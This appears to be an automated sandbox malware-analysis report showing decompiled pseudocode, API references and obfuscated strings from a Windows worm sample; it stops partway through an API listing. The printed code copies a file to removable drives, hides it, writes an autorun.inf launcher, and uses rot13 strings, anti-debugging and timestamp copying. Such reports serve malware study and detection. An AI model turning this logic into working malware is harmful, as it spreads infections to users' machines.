							 *_t109 =  &_v748;
							_t63 = E00404812(_t93);
							_v944 = _t63;
							__eflags = _t63 - 1;
							if(_t63 == 1) {
								E00406A0A();
							}
							E00407C4E(_t97);
							L18:
							 *_t109 = 0xfa0;
							Sleep(??);
							_t109 = _t109 - 4;
							goto L18;
						}
						E00405DC4(0);
						 *_t107 = _t91;
						E00405D46(_t91, 0);
						E00403C44(_t91, _t100, _t101);
						E004056D0(0);
						 *_t107 = _t91;
						E004054F2(0);
						_v992 = _t91;
						 *_t107 =  &_v908;
						E0040435C(_t91, _t97);
						 *_t107 = _t91;
						LoadLibraryA(??);
						 *(_t107 - 4) = 0xfa0;
						Sleep(??);
						_t97 = 0;
					}
				} else {
					E00405DC4(_t96); // executed
					 *_t107 = _t90; // executed
					E00405D46(_t90, _t96); // executed
					E00403C44(_t90, _t100, _t101); // executed
					E004056D0(_t96); // executed
					 *_t107 = _t90; // executed
					E004054F2(_t96); // executed
					_v992 = _t90;
					 *_t107 =  &_v908; // executed
					E0040435C(_t90, _t96); // executed
					 *_t107 = _t90; // executed
					LoadLibraryA(??); // executed
					_t112 = _t107 - 4;
					 *_t112 = 0xfa0; // executed
					Sleep(??); // executed
					_t113 = _t112 - 4;
					_v992 = "pgszra.rkr";
					 *_t113 = _t100;
					E00404C38();
					_v992 = 0;
					 *_t113 = _t100; // executed
					E00405776(_t90); // executed
					_t97 = 0;
				}
				return _t97;
			}

0x00404076
0x0040408a
0x0040408f
0x0040409a
0x0040409e
0x004040a5
0x004040aa
0x004040ad
0x004040b2
0x004040b4
0x004040b6
0x004040bd
0x004040bd
0x004040c2
0x004040c9
0x004040cb
0x004040d2
0x004040d2
0x004040d7
0x004040dd
0x004040e8
0x004040e8
0x004040ea
0x004040ef
0x004040f7
0x00404105
0x00404108
0x0040410d
0x00404115
0x0040411b
0x0040411e
0x00404123
0x00404127
0x0040412f
0x00404135
0x00404138
0x0040413d
0x00404140
0x00404145
0x00404147
0x0040414e
0x004041c5
0x004041ca
0x004041cf
0x004041d1
0x004041d7
0x004041dd
0x004041e0
0x004041e5
0x004041e7
0x0040423e
0x00404240
0x00404248
0x0040424b
0x00404250
0x00404250
0x00404253
0x0040425b
0x00404261
0x00404264
0x00404269
0x00404271
0x00404277
0x0040427a
0x0040427f
0x00404283
0x00404286
0x0040428b
0x00404291
0x00404294
0x0040429c
0x004042a0
0x004042a8
0x004042b0
0x004042b8
0x004042c0
0x004042c7
0x004042cc
0x004042cc
0x004042cf
0x004042d6
0x004042db
0x004042e2
0x004042e7
0x004042ea
0x004042ef
0x004042f1
0x004042f9
0x004042fc
0x00404301
0x00404301
0x00404304
0x0040430c
0x00404312
0x00404315
0x0040431a
0x00404324
0x00404327
0x0040432c
0x00404332
0x00404335
0x00404337
0x00404337
0x0040433c
0x00404341
0x00404341
0x00404348
0x0040434d
0x00000000
0x0040434d
0x004041e9
0x004041ee
0x004041f1
0x004041f6
0x004041fb
0x00404200
0x00404203
0x00404208
0x00404212
0x00404215
0x0040421a
0x0040421d
0x00404225
0x0040422c
0x00404234
0x00404234
0x00404150
0x00404150
0x00404155
0x00404158
0x0040415d
0x00404162
0x00404167
0x0040416a
0x0040416f
0x00404179
0x0040417c
0x00404181
0x00404184
0x00404189
0x0040418c
0x00404193
0x00404198
0x0040419b
0x004041a3
0x004041a6
0x004041ab
0x004041b3
0x004041b6
0x004041bb
0x004041bb
0x0040435b

APIs

WSAStartup.WS2_32 ref: 004040A5

Part of subcall function 00404AB8: IsDebuggerPresent.KERNEL32(004040B2), ref: 00404AC1

ExitProcess.KERNEL32 ref: 004040BD

Part of subcall function 00403E2E: CreateMutexA.KERNEL32 ref: 00403E5B
Part of subcall function 00403E2E: GetLastError.KERNEL32 ref: 00403E63

Part of subcall function 00404ED6: fopen.MSVCRT ref: 00404EEA
Part of subcall function 00404ED6: fclose.MSVCRT ref: 00404EFB

ExitProcess.KERNEL32 ref: 004040D2
LoadLibraryA.KERNEL32 ref: 00404184
Sleep.KERNEL32 ref: 00404193
LoadLibraryA.KERNEL32 ref: 0040421D
Sleep.KERNEL32 ref: 0040422C
LoadLibraryA.KERNEL32 ref: 0040424B
CreateThread.KERNEL32 ref: 004042C7
Sleep.KERNEL32 ref: 004042E2
LoadLibraryA.KERNEL32 ref: 004042FC
Sleep.KERNEL32 ref: 00404348

Part of subcall function 00405DC4: CreateFileA.KERNEL32 ref: 00405E5E
Part of subcall function 00405DC4: ExitProcess.KERNEL32 ref: 00405E7E
Part of subcall function 00405DC4: CloseHandle.KERNEL32 ref: 00405E9E

Part of subcall function 00405D46: CreateFileA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,004041F6), ref: 00405D83
Part of subcall function 00405D46: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004041F6), ref: 00405DB7

Part of subcall function 004056D0: GetModuleFileNameA.KERNEL32 ref: 004056F4
Part of subcall function 004056D0: CopyFileA.KERNEL32 ref: 0040573B

Part of subcall function 004054F2: CreateFileA.KERNEL32 ref: 00405531
Part of subcall function 004054F2: SetFilePointer.KERNEL32 ref: 00405574
Part of subcall function 004054F2: WriteFile.KERNEL32 ref: 0040559A
Part of subcall function 004054F2: Sleep.KERNEL32 ref: 004055A9
Part of subcall function 004054F2: SetFilePointer.KERNEL32 ref: 004055D4
Part of subcall function 004054F2: WriteFile.KERNEL32 ref: 004055FA
Part of subcall function 004054F2: Sleep.KERNEL32 ref: 00405609
Part of subcall function 004054F2: SetFilePointer.KERNEL32 ref: 00405634
Part of subcall function 004054F2: WriteFile.KERNEL32 ref: 0040565A
Part of subcall function 004054F2: SetFilePointer.KERNEL32 ref: 0040567D
Part of subcall function 004054F2: WriteFile.KERNEL32 ref: 004056AF
Part of subcall function 004054F2: CloseHandle.KERNEL32 ref: 004056C0

Part of subcall function 0040435C: CreateFileA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00404399
Part of subcall function 0040435C: GetFileTime.KERNEL32 ref: 004043CD
Part of subcall function 0040435C: CloseHandle.KERNEL32 ref: 004043E5
Part of subcall function 0040435C: CreateFileA.KERNEL32 ref: 00404423
Part of subcall function 0040435C: SetFileTime.KERNEL32 ref: 00404453
Part of subcall function 0040435C: CloseHandle.KERNEL32 ref: 00404467

Strings

hfonpgvi, xrefs: 00404304
pgszra.rkr, xrefs: 0040419B
Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\ihyaiby32\Irefvba, xrefs: 00404253
user32.dll, xrefs: 004040EF
SeDebugPrivilege, xrefs: 004042CF
fgngrz, xrefs: 00404269
fureinaf.qyy, xrefs: 0040410D

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: File$Create$Sleep$CloseHandle$LibraryLoadPointerWrite$ExitProcess$Time$CopyDebuggerErrorLastModuleMutexNamePresentStartupThreadfclosefopen
String ID: Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\ihyaiby32\Irefvba$SeDebugPrivilege$fgngrz$fureinaf.qyy$hfonpgvi$pgszra.rkr$user32.dll
API String ID: 2057360409-330933156
Opcode ID: 199cad912980a4fc92ecc50461b3e6f79d7811f6d2aad3494388b950cac20798
Instruction ID: 0cfcdf05f74210d9808c357536bce9e529f0bcd84bc5eb1993387659449c0d65
Opcode Fuzzy Hash: 199cad912980a4fc92ecc50461b3e6f79d7811f6d2aad3494388b950cac20798
Instruction Fuzzy Hash: 67610EB09087048AD710BF75C58625EBAE4AF81308F41997FE9C4776C2DB7C96888F5B

Uniqueness

Uniqueness Score: -1.00%

Function 10002CEF Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 100
stringsleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 62%

			E10002CEF(signed int __edx) {
				void* _v16;
				char _v188;
				char _v316;
				char _v348;
				char _v508;
				char _v509;
				void _v604;
				void* _v612;
				int _v616;
				void* _v620;
				void* __ebx;
				signed int _t44;
				void* _t50;
				int _t52;
				CHAR* _t54;
				signed int _t62;
				signed int _t63;
				int _t65;
				void* _t66;
				void* _t68;
				void* _t69;
				void* _t70;
				void* _t71;
				void** _t72;
				intOrPtr* _t73;
				void** _t74;

				_t63 = __edx;
				memcpy( &_v604, 0x10004000, 0x60);
				E10001F26( &_v316, "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefvba\\Rkcybere\\ihyaiby32\\Irefvba");
				E10001F26( &_v348, "hfonpgvi");
				_t44 = E10002B9C( &_v348,  &_v316,  &_v348); // executed
				_t65 = 0;
				if(((_t44 & 0xffffff00 | _t44 == 0x00000042 | _t63 & 0xffffff00 | _t44 == 0x00000000) & 0x00000001) == 0) {
					_v616 = "tepbcl.qyy";
					_v620 =  &_v348;
					E10001F26();
					E10002209( &_v188, 0x96,  &_v348);
					_t50 = E1000271B( &_v188);
					_t65 = 0;
					if(_t50 != 0) {
						_t66 =  &_v508;
						while(1) {
							Sleep(0x2328);
							_t71 = _t70 - 4;
							_t62 = 0;
							do {
								_t52 = GetDriveTypeA( *(_t69 + _t62 * 4 - 0x258));
								_t71 = _t71 - 4;
								if(_t52 == 2) {
									_t68 =  &_v508;
									memset(_t68, 0, 0x96);
									_t54 =  *(_t69 + _t62 * 4 - 0x258);
									_v616 = _t54;
									_v620 = _t68;
									L100034B8();
									_v620 = _t68;
									L10003570();
									_t72 = _t71 - 4;
									if(_t54[(char*)( &_v509)] != 0x5c) {
										_v620 = 0x1000508e;
										 *_t72 = _t68;
										L10003578();
										_t72 = _t72 - 8;
									}
									_v620 = 0x100060a4;
									 *_t72 = _t66;
									L100034B8();
									 *_t72 = 1;
									SetErrorMode(??);
									_t73 = _t72 - 4;
									_v616 = 0;
									_v620 = _t66;
									 *_t73 =  &_v188;
									CopyFileA(??, ??, ??);
									_t74 = _t73 - 0xc;
									_v620 = 2;
									 *_t74 = _t66;
									SetFileAttributesA(??, ??);
									_t71 = _t74 - 8;
								}
								_t62 = 1 + _t62;
							} while (_t62 <= 0x17);
						}
					}
				}
				return _t65;
			}

0x10002cef
0x10002d14
0x10002d2a
0x10002d40
0x10002d4c
0x10002d5e
0x10002d65
0x10002d6b
0x10002d79
0x10002d7c
0x10002d96
0x10002d9e
0x10002da3
0x10002daa
0x10002db0
0x10002db6
0x10002dbd
0x10002dc2
0x10002dc5
0x10002dca
0x10002dd4
0x10002dd9
0x10002ddf
0x10002de5
0x10002dfe
0x10002e03
0x10002e0a
0x10002e0e
0x10002e11
0x10002e16
0x10002e19
0x10002e1e
0x10002e29
0x10002e2b
0x10002e33
0x10002e36
0x10002e3b
0x10002e3b
0x10002e3e
0x10002e46
0x10002e49
0x10002e4e
0x10002e55
0x10002e5a
0x10002e5d
0x10002e65
0x10002e6f
0x10002e72
0x10002e77
0x10002e7a
0x10002e82
0x10002e85
0x10002e8a
0x10002e8a
0x10002e8d
0x10002e8e
0x10002e97
0x10002db6
0x10002daa
0x10002ea5

APIs

memcpy.MSVCRT ref: 10002D14
rot13.SHERVANS ref: 10002D2A

Part of subcall function 10001F26: rot13c.SHERVANS ref: 10001F40

rot13.SHERVANS ref: 10002D40
get_dword.SHERVANS ref: 10002D4C

Part of subcall function 10002B9C: RegOpenKeyExA.ADVAPI32 ref: 10002BD6
Part of subcall function 10002B9C: RegOpenKeyExA.ADVAPI32 ref: 10002C04
Part of subcall function 10002B9C: RegQueryValueExA.ADVAPI32 ref: 10002C3F
Part of subcall function 10002B9C: RegCloseKey.ADVAPI32 ref: 10002C4F

rot13.SHERVANS ref: 10002D7C
add_system_direcroty.SHERVANS ref: 10002D96

Part of subcall function 10002209: memset.MSVCRT ref: 10002226
Part of subcall function 10002209: GetSystemDirectoryA.KERNEL32 ref: 10002232
Part of subcall function 10002209: lstrlen.KERNEL32 ref: 1000223D
Part of subcall function 10002209: lstrcat.KERNEL32 ref: 10002257
Part of subcall function 10002209: lstrcat.KERNEL32 ref: 10002269

filetyt.SHERVANS ref: 10002D9E

Part of subcall function 1000271B: fopen.MSVCRT ref: 1000272F
Part of subcall function 1000271B: fclose.MSVCRT ref: 10002740

Sleep.KERNEL32 ref: 10002DBD
GetDriveTypeA.KERNEL32 ref: 10002DD4
memset.MSVCRT ref: 10002DFE
_mbscat.MSVCRT ref: 10002E11
lstrlen.KERNEL32 ref: 10002E19
lstrcat.KERNEL32 ref: 10002E36
_mbscat.MSVCRT ref: 10002E49
SetErrorMode.KERNEL32 ref: 10002E55
CopyFileA.KERNEL32 ref: 10002E72
SetFileAttributesA.KERNEL32 ref: 10002E85

Strings

`, xrefs: 10002D01
Q, xrefs: 10002D6B

Memory Dump Source

Source File: 00000000.00000002.304069235.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.304063881.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304076424.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304082187.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304097063.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304103368.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304113880.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Readme.jbxd

Similarity

API ID: lstrcatrot13$FileOpen_mbscatlstrlenmemset$AttributesCloseCopyDirectoryDriveErrorModeQuerySleepSystemTypeValueadd_system_direcrotyfclosefiletytfopenget_dwordmemcpyrot13c
String ID: `$Q
API String ID: 1565552690-2154725097
Opcode ID: ca6b7556f4e4c0b07e28bf64fc42607d1be749f81df0f6860581cb1cef415f20
Instruction ID: 3c753f9fe4a5df1170e053b3461346bedc4f7c817325d12f88918a50ebfe7554
Opcode Fuzzy Hash: ca6b7556f4e4c0b07e28bf64fc42607d1be749f81df0f6860581cb1cef415f20
Instruction Fuzzy Hash: D84182B4408B459BE711EF24D98539FBBF4EF80381F41882DE8C857209D779A988CB83

Uniqueness

Uniqueness Score: -1.00%

Function 0040B0E0 Relevance: 26.4, APIs: 6, Strings: 9, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 51%

			E0040B0E0(void* __eax) {
				void* _v16;
				short _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				char _v108;
				short _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				char _v188;
				int _v192;
				void* __ebx;
				char _t51;
				intOrPtr _t52;
				intOrPtr _t53;
				intOrPtr _t54;
				intOrPtr _t55;
				intOrPtr _t56;
				intOrPtr _t57;
				intOrPtr _t58;
				signed int _t61;
				intOrPtr _t64;
				void* _t65;
				intOrPtr _t71;
				intOrPtr _t73;
				signed char _t75;
				char _t78;
				intOrPtr _t79;
				intOrPtr _t80;
				intOrPtr _t81;
				intOrPtr _t82;
				intOrPtr _t83;
				intOrPtr _t84;
				intOrPtr _t85;
				signed short _t88;
				void* _t90;
				void* _t92;
				signed int _t93;
				signed int _t94;
				void* _t96;
				signed int _t101;
				intOrPtr _t103;
				intOrPtr _t104;
				void* _t105;
				signed int _t106;
				signed int _t109;
				signed int _t110;
				signed int* _t111;
				intOrPtr* _t112;
				intOrPtr* _t114;
				signed int* _t115;

				_t94 =  *0x418284;
				if(_t94 == 0) {
					_v108 = 0x41414141;
					_t51 = "-LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32"; // 0x42494c2d
					_t110 =  &_v108;
					_v104 = 0x41414141;
					_v100 = 0x41414141;
					_v76 = _t51;
					_t52 = M004131B4; // 0x57434347
					_v96 = 0x41414141;
					_v92 = 0x41414141;
					_v72 = _t52;
					_t53 = M004131B8; // 0x452d3233
					_v88 = 0x41414141;
					_v84 = 0x41414141;
					_v68 = _t53;
					_t54 = M004131BC; // 0x2d322d48
					_v80 = 0x41414141;
					_v64 = _t54;
					_t55 = M004131C0; // 0x4a4c4a53
					_v60 = _t55;
					_t56 = M004131C4; // 0x4854472d
					_v56 = _t56;
					_t57 = M004131C8; // 0x494d2d52
					_v52 = _t57;
					_t58 =  *0x4131cc; // 0x3357474e
					_v48 = _t58;
					_v44 =  *0x4131d0 & 0x0000ffff;
					 *_t111 = _t110;
					_t61 = FindAtomA(??) & 0x0000ffff;
					_t112 = _t111 - 4;
					_v192 = _t61;
					if(_t61 != 0) {
						L10:
						_t93 = E0040B040(_t61, _t92);
					} else {
						 *_t112 = 0x3c;
						_t65 = malloc(??);
						_t93 = _t65;
						if(_t65 == 0) {
							abort();
							0;
							0;
							_push(_t94);
							_t96 = _t112 + 8;
							while(_t65 >= 0x1000) {
								_t96 = _t96 - 0x1000;
								_t65 = _t65 - 0x1000;
							}
							goto __eax;
						}
						asm("cld");
						memset(_t65, _v192, 0xf << 2);
						_t114 = _t112 + 0xc;
						 *((intOrPtr*)(_t93 + 4)) = L0040C278;
						_t101 = 1;
						 *((intOrPtr*)(_t93 + 8)) = E0040B030;
						 *_t93 = 0x3c;
						 *((intOrPtr*)(_t93 + 0x28)) = 0;
						 *((intOrPtr*)(_t93 + 0x14)) =  *0x418254;
						_t71 =  *0x40d4f0; // 0x0
						 *((intOrPtr*)(_t93 + 0x18)) =  *0x418258;
						_t103 =  *0x40d4f4; // 0xffffffff
						 *((intOrPtr*)(_t93 + 0x1c)) = _t71;
						 *((intOrPtr*)(_t93 + 0x20)) = _t103;
						 *((intOrPtr*)(_t93 + 0x30)) = 0xffffffff;
						 *((intOrPtr*)(_t93 + 0x2c)) =  *0x418264;
						_t104 =  *0x40d4fc; // 0xffffffff
						_t73 =  *0x40d4f8; // 0x0
						 *((intOrPtr*)(_t93 + 0x38)) = _t104;
						_t105 = 0x1f;
						 *((intOrPtr*)(_t93 + 0x34)) = _t73;
						do {
							_t75 = _t93 & _t101;
							asm("sbb eax, eax");
							_t101 = _t101 + _t101;
							 *((char*)(_t105 +  &_v188)) = (_t75 & 0x00000020) + 0x41;
							_t105 = _t105 - 1;
						} while (_t105 >= 0);
						_t78 = "-LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32"; // 0x42494c2d
						_v156 = _t78;
						_t79 = M004131B4; // 0x57434347
						_v152 = _t79;
						_t80 = M004131B8; // 0x452d3233
						_v148 = _t80;
						_t81 = M004131BC; // 0x2d322d48
						_v144 = _t81;
						_t82 = M004131C0; // 0x4a4c4a53
						_v140 = _t82;
						_t83 = M004131C4; // 0x4854472d
						_v136 = _t83;
						_t84 = M004131C8; // 0x494d2d52
						_v132 = _t84;
						_t85 =  *0x4131cc; // 0x3357474e
						_v128 = _t85;
						_v124 =  *0x4131d0 & 0x0000ffff;
						 *_t114 =  &_v188; // executed
						_t88 = AddAtomA(??); // executed
						_t109 = _t88 & 0x0000ffff;
						_t115 = _t114 - 4;
						if(_t109 != 0) {
							_t90 = E0040B040(_t109, _t93);
							_t106 = _t109;
							if(_t90 != _t93) {
								goto L7;
							} else {
								goto L8;
							}
							goto L19;
						} else {
							L7:
							_t106 = 0;
						}
						L8:
						if(_t106 == 0) {
							 *_t115 = _t93;
							L0040C1C8();
							 *_t115 = _t110;
							_t61 = FindAtomA(??) & 0x0000ffff;
							goto L10;
						}
					}
					 *0x418284 = _t93;
					_t46 = _t93 + 4; // 0x4
					 *0x418274 = _t46;
					_t47 = _t93 + 8; // 0x8
					_t64 = _t47;
					 *0x418294 = _t64;
					return _t64;
				} else {
					return __eax;
				}
				L19:
			}

0x0040b0ec
0x0040b0f4
0x0040b0fe
0x0040b105
0x0040b10a
0x0040b10d
0x0040b114
0x0040b11b
0x0040b11e
0x0040b123
0x0040b12a
0x0040b131
0x0040b134
0x0040b139
0x0040b140
0x0040b147
0x0040b14a
0x0040b14f
0x0040b156
0x0040b159
0x0040b15e
0x0040b161
0x0040b166
0x0040b169
0x0040b16e
0x0040b171
0x0040b176
0x0040b180
0x0040b184
0x0040b18d
0x0040b190
0x0040b195
0x0040b19b
0x0040b2dc
0x0040b2e1
0x0040b1a1
0x0040b1a1
0x0040b1a8
0x0040b1af
0x0040b1b1
0x0040b310
0x0040b31b
0x0040b31f
0x0040b320
0x0040b323
0x0040b326
0x0040b32d
0x0040b336
0x0040b336
0x0040b34b
0x0040b34b
0x0040b1b7
0x0040b1c5
0x0040b1c5
0x0040b1c7
0x0040b1ce
0x0040b1d3
0x0040b1df
0x0040b1eb
0x0040b1f2
0x0040b1f5
0x0040b1fa
0x0040b1fd
0x0040b203
0x0040b20b
0x0040b20e
0x0040b215
0x0040b218
0x0040b21e
0x0040b223
0x0040b226
0x0040b22b
0x0040b230
0x0040b232
0x0040b237
0x0040b23b
0x0040b23f
0x0040b246
0x0040b246
0x0040b249
0x0040b24e
0x0040b254
0x0040b259
0x0040b25f
0x0040b264
0x0040b26a
0x0040b26f
0x0040b275
0x0040b27a
0x0040b280
0x0040b285
0x0040b28b
0x0040b290
0x0040b293
0x0040b298
0x0040b2a2
0x0040b2ac
0x0040b2af
0x0040b2b5
0x0040b2b8
0x0040b2bd
0x0040b303
0x0040b30a
0x0040b30c
0x00000000
0x0040b30e
0x00000000
0x0040b30e
0x00000000
0x0040b2bf
0x0040b2bf
0x0040b2bf
0x0040b2bf
0x0040b2c1
0x0040b2c3
0x0040b2c5
0x0040b2c8
0x0040b2cd
0x0040b2d9
0x00000000
0x0040b2d9
0x0040b2c3
0x0040b2e3
0x0040b2e9
0x0040b2ec
0x0040b2f1
0x0040b2f1
0x0040b2f4
0x0040b300
0x0040b0f6
0x0040b0fd
0x0040b0fd
0x00000000

APIs

FindAtomA.KERNEL32 ref: 0040B187
malloc.MSVCRT ref: 0040B1A8
AddAtomA.KERNEL32 ref: 0040B2AF

Strings

AAAA, xrefs: 0040B12A
AAAA, xrefs: 0040B123
-LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32, xrefs: 0040B105, 0040B249
AAAA, xrefs: 0040B0FE
AAAA, xrefs: 0040B10D
AAAA, xrefs: 0040B139
AAAA, xrefs: 0040B140
AAAA, xrefs: 0040B14F
AAAA, xrefs: 0040B114

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: Atom$Findmalloc
String ID: -LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32$AAAA$AAAA$AAAA$AAAA$AAAA$AAAA$AAAA$AAAA
API String ID: 822928543-4229226183
Opcode ID: b996283103914c8c547a0f5b047768b3d30837a48cc31e111859e5c4cfbbb589
Instruction ID: 5c8a408c4dcb306db70316dfdce650025cae950a5a82f7704b97cd34435e599e
Opcode Fuzzy Hash: b996283103914c8c547a0f5b047768b3d30837a48cc31e111859e5c4cfbbb589
Instruction Fuzzy Hash: DC6107B4A00218DFDB50CFA9E9C4699BBF0FB48311F1481BAD818EB395E7349945CF49

Uniqueness

Uniqueness Score: -1.00%

Function 10002806 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 98
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 24%

			E10002806(intOrPtr __ebx, signed int __edx, intOrPtr __edi, intOrPtr __esi, void* __eflags) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v188;
				char _v316;
				char _v364;
				char _v572;
				long _v576;
				void* _v588;
				void* _v592;
				void* _v596;
				void* _v600;
				void* _v604;
				void* _v608;
				void* _v612;
				char* _v616;
				void* _t46;
				int _t50;
				signed int _t52;
				void* _t63;
				void* _t64;
				void* _t66;
				signed int _t73;
				CHAR* _t76;
				void* _t82;
				void** _t83;

				_t73 = __edx;
				_v16 = __ebx;
				_v12 = __esi;
				_v8 = __edi;
				_v616 = "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefvba\\Rkcybere\\ihyaiby32\\Irefvba";
				_t63 =  &_v316;
				 *_t83 = _t63;
				E10001F26();
				_v608 = 0x14;
				_v612 = 0x100060a4;
				_v616 = "namecp";
				 *_t83 = _t63; // executed
				_t46 = E10001F57(_t63); // executed
				if(_t46 == 0) {
					 *_t83 = 0x100060a4;
					E100024A2();
					asm("cld");
					asm("repne scasb");
					 *0x100060A3 = 0x6578652e;
					 *0x10BB3C54 = 0;
					_v612 = 0x100060a4;
					_v616 = "namecp";
					 *_t83 = _t63; // executed
					E1000274E(); // executed
				}
				_v616 = "fngbeanf.qyy";
				_t64 =  &_v364;
				 *_t83 = _t64;
				E10001F26();
				_v612 = _t64;
				_v616 = 0x96;
				 *_t83 =  &_v188;
				E10002209();
				_t76 =  &_v188;
				 *_t83 = _t76; // executed
				_t50 = E1000271B(); // executed
				if(_t50 == 0) {
					_v608 = 0x100060a4;
					_v612 = 0x100060a4;
					_v616 = "[autorun]\r\nshellexecute=%s\r\nicon=%%SystemRoot%%\\system32\\SHELL32.dll,4\r\naction=Open folder to view files\r\nshell\\default=Open\r\nshell\\default\\command=%s\r\nshell=default";
					_t82 =  &_v572;
					 *_t83 = _t82;
					wsprintfA(??, ??);
					_t52 = CreateFileA(_t76, 0x40000000, 0, 0, 2, 0x80, 0); // executed
					_t66 = _t52;
					_t50 = _t52 & 0xffffff00 | _t52 == 0xffffffff | _t73 & 0xffffff00 | _t66 == 0x00000000;
					if((_t50 & 0x00000001) == 0) {
						asm("cld");
						asm("repne scasb");
						WriteFile(_t66, _t82, 0xbadbac,  &_v576, 0); // executed
						CloseHandle(_t66); // executed
						_t50 = SetFileAttributesA( &_v188, 2); // executed
					}
				}
				return _t50;
			}

0x10002806
0x1000280f
0x10002812
0x10002815
0x10002818
0x10002820
0x10002826
0x10002829
0x1000282e
0x10002836
0x1000283e
0x10002846
0x10002849
0x10002850
0x10002852
0x10002859
0x10002863
0x1000286b
0x10002870
0x1000287a
0x10002881
0x10002889
0x10002891
0x10002894
0x10002894
0x10002899
0x100028a1
0x100028a7
0x100028aa
0x100028af
0x100028b3
0x100028c1
0x100028c4
0x100028c9
0x100028cf
0x100028d2
0x100028d9
0x100028df
0x100028e7
0x100028ef
0x100028f7
0x100028fd
0x10002900
0x10002938
0x10002940
0x1000294d
0x10002951
0x10002953
0x1000295d
0x1000297f
0x1000298a
0x100029a3
0x100029a8
0x10002951
0x100029b7

APIs

rot13.SHERVANS ref: 10002829

Part of subcall function 10001F26: rot13c.SHERVANS ref: 10001F40

Get_Reg_SZ.SHERVANS ref: 10002849

Part of subcall function 10001F57: RegOpenKeyExA.ADVAPI32 ref: 10001F90
Part of subcall function 10001F57: RegOpenKeyExA.ADVAPI32 ref: 10001FBE
Part of subcall function 10001F57: RegQueryValueExA.ADVAPI32 ref: 10001FF9
Part of subcall function 10001F57: RegCloseKey.ADVAPI32 ref: 10002009

sss_rans.SHERVANS ref: 10002859

Part of subcall function 100024A2: GetLocalTime.KERNEL32 ref: 100024F9
Part of subcall function 100024A2: GetTickCount.KERNEL32 ref: 10002501
Part of subcall function 100024A2: srand.MSVCRT ref: 10002509
Part of subcall function 100024A2: rand.MSVCRT ref: 10002512
Part of subcall function 100024A2: GetTickCount.KERNEL32 ref: 10002519
Part of subcall function 100024A2: srand.MSVCRT ref: 10002521
Part of subcall function 100024A2: rand.MSVCRT ref: 1000252D
Part of subcall function 100024A2: GetTickCount.KERNEL32 ref: 10002546
Part of subcall function 100024A2: srand.MSVCRT ref: 1000254E
Part of subcall function 100024A2: rand.MSVCRT ref: 10002553
Part of subcall function 100024A2: GetTickCount.KERNEL32 ref: 1000256E
Part of subcall function 100024A2: srand.MSVCRT ref: 10002576
Part of subcall function 100024A2: rand.MSVCRT ref: 1000257B
Part of subcall function 100024A2: GetTickCount.KERNEL32 ref: 10002596
Part of subcall function 100024A2: srand.MSVCRT ref: 1000259E
